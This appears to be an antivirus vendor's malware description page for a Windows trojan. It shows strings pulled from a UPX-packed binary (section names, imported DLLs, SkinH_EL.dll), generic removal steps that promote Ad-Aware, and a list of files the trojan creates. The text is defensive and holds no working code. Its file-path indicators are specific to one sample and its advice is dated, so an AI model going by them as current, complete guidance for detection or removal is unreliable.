
@.UPX0

`.UPX1

`.reloc

hJK.ZH

O.qt0

KERNEL32.DLL

COMCTL32.dll

GDI32.dll

MSIMG32.dll

MSVCRT.dll

MSVFW32.dll

USER32.dll

SkinH_EL.dll

1, 0, 6, 6

- Skin.dll

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Terminate malicious process(es) (How to End a Process With the Task Manager):No processes have been created.
2. Delete the original Trojan file.
   
3. Delete or disinfect the following files created/modified by the Trojan:
   

   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Cookies\EV1E2DS7.txt (104 bytes)
   C:\PEAS.dll (9606 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OVYHJBCC\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OVYHJBCC\7cd4bb31f0c2d21481f1a7cd[1].htm (2794 bytes)

4. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   
5. Reboot the computer.
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.